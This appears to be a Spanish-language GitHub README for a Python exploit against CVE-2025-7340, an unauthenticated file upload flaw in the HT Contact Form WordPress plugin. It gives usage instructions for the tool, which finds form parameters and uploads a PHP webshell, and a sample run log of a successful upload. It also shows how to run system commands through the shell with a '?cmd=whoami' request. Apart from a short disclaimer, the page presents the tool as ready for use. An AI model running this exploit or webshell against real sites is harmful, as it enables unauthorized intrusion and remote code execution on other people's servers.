nxploited/cve-2025-7340HT Contact Form Widget para Elementor Page Builder y Gutenberg Blocks y Form Builder. <= 2.2.1 - Subida de archivos arbitraria no autenticada
CVE: CVE-2025-7340
CVSS: 9.8 (Crítica)
El complemento HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder. para WordPress es vulnerable a cargas arbitrarias de archivos debido a la falta de validación del tipo de archivo en la función temp_file_upload en todas las versiones hasta 2.2.1 inclusive.
Esto permite a atacantes no autenticados cargar archivos arbitrarios en el servidor, lo que potencialmente conduce a Ejecución Remota de Código (RCE).
Este repositorio incluye un script de exploit en Python que automatiza el descubrimiento del formulario vulnerable y sube una webshell al sitio afectado.
El script detecta inteligentemente los parámetros requeridos (nonce, form_id, ajax endpoint) y sube una shell PHP a la ruta vulnerable.
✅ Ejemplo de URL de formulario vulnerable:
http://target.com/contact/
✅ El formulario vulnerable debe estar en la página que le pases a la opción -u.
Antes de ejecutar el script, instala los módulos de Python requeridos:
pip install -r requirements.txt
Contenido de requirements.txt:
requests
colorama
usage: CVE-2025-7340.py [-h]
Exploit for CVE-2025-7340 - Unauthenticated Arbitrary File Upload | by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target URL e.g http(s)://target.com
| Opción | Descripción |
|---|---|
-h, --help | Muestra este mensaje de ayuda y sale |
-u, --url URL | URL objetivo, p.ej. http(s)://target.com/contact |
Una vez que el exploit finalice exitosamente, puedes acceder a tu shell subida en la ruta indicada.
Agrega ?cmd=<your_command> para ejecutar comandos del sistema.
✅ Ejemplo:
http://target.com/wp-content/uploads/ht_form/temp/shell.php?cmd=whoami
Starting exploit against target...
Fetching target page...
Extracting parameters...
Extracted Nonce: 346c441903
AJAX Endpoint: http://nxploit.ddev.site/wp-admin/admin-ajax.php
Form ID: 86
Generating webshell...
Uploading shell, please wait...
[+] Exploit Successfully!
Go to: wp-content/uploads/ht_form/temp/687590d90ac1c-shell.php
Exploit by: Khaled Alenazi (Nxploited) - GitHub: https://github.com/Nxploited
Esta herramienta se proporciona únicamente con fines educativos y de investigación.
El autor no se hace responsable de ningún daño o uso indebido de este código.
Siempre obtén permiso explícito antes de realizar pruebas contra cualquier sistema.
Khaled Alenazi (Nxploited)
GitHub: Nxploited